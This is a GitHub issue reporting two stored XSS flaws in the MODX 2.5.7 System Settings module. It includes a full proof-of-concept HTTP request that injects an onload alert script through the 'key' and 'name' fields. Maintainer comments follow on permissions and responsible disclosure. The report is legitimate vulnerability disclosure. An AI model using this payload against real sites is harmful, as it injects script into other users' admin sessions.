Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Stored XSS in MODX 2.5.7 System Settings module #13564

Closed
lemon666 opened this issue Jul 30, 2017 · 4 comments
Closed

Stored XSS in MODX 2.5.7 System Settings module #13564

lemon666 opened this issue Jul 30, 2017 · 4 comments

Comments

@lemon666
Copy link

Summary

I found two stored XSS in MODX 2.5.7 System Settings module.The "key" and "name" parameters in the following request are vulnerable to XSS vulnerability. This malicious payload will be trigerred by every user, when they visit this module.

Step to reproduce

Example request, which creates new setting with malicious $key and malicious $name:

POST /modx-2.5.7-pl/connectors/index.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 270
Origin: http://127.0.0.1
X-Requested-With: XMLHttpRequest
modAuth: modx597d630a8107d5.18150416_1597d68f9a890f6.90859363
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://127.0.0.1/modx-2.5.7-pl/manager/?a=system/settings
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=1d2mf5dn5k2hevhe34omti9f51
Connection: close

action=system%2Fsettings%2Fcreate&HTTP_MODAUTH=modx597d630a8107d5.18150416_1597d68f9a890f6.90859363&fk=0&key=%3C%2Fdiv%3E%3Cscg%20onload%3Dalert(%2Fxss%2F)%3E&name=%3C%2Fdiv%3E%3Cscg%20onload%3Dalert(%2Fxss%2F)%3E&description=&xtype=textfield&namespace=core&area=&value=

Observed behavior

A small popup will come up.

Environment

MODX 2.5.7, apache 2.4.23, mysql 5.7.15, php 5.6.24.

@muzzwood
Copy link
Contributor

muzzwood commented Aug 1, 2017

This would only be possible if you're logged in to the manager with correct permissions though wouldn't it?

@Mark-H
Copy link
Collaborator

Mark-H commented Aug 2, 2017

@lemon666 Please do not post security issues to the public tracker, instead responsibly disclose them to security@modx.com so a fix can be prepared before details are shared publicly.

In this case, it's a rather harmless issue, as it requires the permission to edit settings before it can be exploited, but it appears that it's already in the NIST database before the security team was alerted properly. If it's a more serious vulnerability, that could cause panic when no patch is available but a CVE is going around on social media.

@fgeek
Copy link

fgeek commented Jul 14, 2018

@Mark-H Is this already fixed in some version? Could you link the commit IDs fixing this vulnerability, thanks. Bug item has been open for nearly a year now. Nothing found from ChangeLog with issue ID.

@Mark-H
Copy link
Collaborator

Mark-H commented Jul 14, 2018

I think this may be #13887 but reported by someone else a little earlier. Another good reason not to report these in a public tracker ;)

@Mark-H Mark-H closed this as completed Jul 14, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants